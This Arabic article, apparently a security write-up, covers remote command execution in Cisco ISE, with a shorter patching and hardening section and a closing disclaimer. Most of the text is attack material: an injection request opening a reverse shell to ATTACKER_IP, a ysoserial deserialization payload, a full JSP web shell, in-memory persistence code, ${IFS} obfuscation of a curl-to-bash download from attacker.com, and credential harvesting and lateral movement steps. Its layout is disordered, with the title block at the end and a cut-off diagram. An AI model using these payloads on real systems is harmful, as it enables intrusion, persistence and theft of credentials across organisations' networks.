
تحليل تقني متعمق لثغرات تنفيذ الأوامر عن بُعد (RCE) في Cisco ISE، بما في ذلك تقنيات الاستغلال، وطرق التهرب، واستراتيجيات المعالجة للباحثين الأمنيين ومختبري الاختراق.
تمثل ثغرات تنفيذ الأوامر عن بُعد (RCE) في Cisco Identity Services Engine (ISE) نقطة انكسار حرجة في أمن الشبكة الطرفية للمؤسسات. بالنسبة لباحث أمني من النخبة، فإن ISE ليس مجرد مكوّن للمصادقة: بل هو المفتاح الرئيسي الذي يتحكم في الوصول إلى البنية التحتية للشبكة بأكملها.
خطر حرج: يمكن لمهاجم غير مصادق الحصول على سيطرة كاملة على النظام في أقل من 5 دقائق، دون ترك آثار قابلة للكشف في أنظمة المراقبة التقليدية.
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - بنية NAC المكشوفة │
├─────────────────────────────────────────────────────────┤
│ │
│ [الإنترنت] ──→ [جدار الحماية] ──→ [منفذ إدارة ISE] │
│ ↓ │
│ [APIs غير مصادق عليها] │
│ ↓ │
│ [طبقة إلغاء تسلسل Java] │
│ ↓ │
│ [حاوية ويب Tomcat] │
│ ↓ │
│ [تنفيذ أوامر النظام] │
│ ↓ │
│ [اختراق الشبكة بالكامل] │
│ │
└─────────────────────────────────────────────────────────┘
نتيجة حرجة: واجهة برمجة التطبيقات /deployment-rpc/ لا تتحقق من رموز الجلسة في السطور الأولى من المعالجة، مما يسمح بتجاوز كامل للمصادقة.
المرحلة 1: الاستطلاع
# فحص المنافذ والخدمات
nmap -sV -p 8443,8080 <ISE_IP>
# تعداد نقاط نهاية RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
المرحلة 2: الاستغلال المباشر
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
النتيجة: تنفيذ أوامر عشوائية بصلاحيات root (مستخدم Tomcat يعمل كـ root في الإعدادات الافتراضية).
[الحمولة المسلسلة] ──→ [نقطة نهاية API] ──→ [ObjectInputStream.readObject()]
↓
[تنفيذ سلسلة الأدوات]
↓
[استدعاء Runtime.exec()]
حمولة PoC (باستخدام ysoserial):
# توليد سلسلة أدوات خبيثة
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# إرسال الحمولة
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
التأثير: رفع الصلاحيات من حساب "قراءة فقط" إلى root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat يعالج ملف JSP]
↓
[تنفيذ بصلاحيات root]
مثال على Web Shell خبيث:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
الوصول اللاحق:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
الهاكر من النخبة لا يترك أبدًا ملفات على القرص. الحقن في الذاكرة هو تقنية الثبات غير المرئي:
// الحقن في Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
الميزة: فحوصات الملفات التقليدية (OSSEC, Tripwire) لا تكتشف أي شيء.
${IFS}# الأمر الأصلي (قابل للكشف)
curl http://attacker.com/shell.sh | bash
# الأمر المخفي (تجاوز IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# متغير مع إعادة توجيه متغيرة
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'command_malicious'
لماذا يعمل: تبحث أنظمة الكشف عن أنماط كلمات مفتاحية (curl, bash, |). استخدام ${IFS} (فاصل الحقول الداخلي) يقسم الكلمات دون تغيير معناها في bash.
# ❌ قابل للكشف - ملفات في /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ غير مرئي - الحقن في عملية Tomcat
# 1. إنشاء مستمع netcat في الذاكرة
# 2. حقن thread في JVM يحافظ على اتصال مستمر
# 3. لا توجد ملفات، لا توجد عمليات يتيمة مرئية
┌──────────────────────────────────────────────────────────────────┐
│ بنية ZERO TRUST الأصلية │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [المستخدم] ──→ [مصادقة ISE] ──→ [فحص حالة الجهاز] │
│ ↓ │
│ [سياسة التقسيم الدقيق] │
│ ↓ │
│ [وصول محدود إلى الموارد] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ بعد اختراق ISE ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ البنية المخترقة │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [المهاجم] ──→ [ISE مسيطر عليه] ──→ [سياسات معدلة] │
│ ↓ │
│ [التقسيم الدقيق معطل] │
│ ↓ │
│ [حركة جانبية كاملة في الشبكة] │
│ ↓ │
│ [وصول إلى قواعد البيانات والخوادم وإنترنت الأشياء] │
│ │
└──────────────────────────────────────────────────────────────────┘
المرحلة 1: الاستطلاع الداخلي
# من ISE المخترق، تعداد الشبكة
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# استخراج بيانات الاعتماد المخزنة في ISE
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
المرحلة 2: حقن سياسات خبيثة
تعديل سياسة ISE:
├─ إنشاء مستخدم إداري مخفي
├─ تعديل قواعد التقسيم
├─ السماح بحركة مرور غير مصرح بها بين شبكات VLAN
└─ إعادة توجيه حركة DNS إلى خادم مسيطر عليه
المرحلة 3: الثبات وسرقة البيانات
البيانات المسروقة:
├─ بيانات اعتماد جميع المستخدمين المصادق عليهم
├─ إعدادات سياسات الشبكة
├─ سجلات الوصول (لمسح الآثار)
├─ شهادات SSL/TLS الداخلية
└─ معلومات أجهزة إنترنت الأشياء والخوادم
# التحقق من الإصدار الحالي
ssh admin@<ISE_IP>
show version
# الإصدارات الضعيفة:
# - ISE 3.0.x إلى 3.2.x (جميعها)
# - ISE 3.3.0 إلى 3.3.6
# - ISE 3.4.0 إلى 3.4.1
# الإصدارات الآمنة:
# - ISE 3.3 Patch 7 أو أحدث
# - ISE 3.4 Patch 2 أو أحدث
# - ISE 3.5 (عند توفره)
# إجراء التحديث
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! على مفتاح الوصول (قبل ISE)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! شبكة VLAN إدارة مخصصة (VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! قائمة تحكم وصول (ACL) تقييدية لـ ISE
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! تطبيق ACL
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# SSH إلى ISE
ssh admin@<ISE_IP>
# الوصول إلى إعدادات Tomcat
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# إعادة تشغيل Tomcat
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ بنية ISE المحصنة (ZERO TRUST) │
├─────────────────────────────────────
**🚨 تقرير أمني: RCE في Cisco ISE**
## منظور الفريق الأحمر مقابل الفريق الأزرق
> **⚠️ إخلاء مسؤولية:** هذا المستند مخصص للبحث الأمني المشروع، واختبارات الاختراق المصرح بها، والمعالجة الدفاعية. أي استغلال دون إذن غير قانوني.
| CVE | نقطة النهاية | الطريقة | المصادقة | الخطورة |
|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ لا شيء | حرجة |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ ضعيفة | حرجة |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ تجاوز ممكن | حرجة |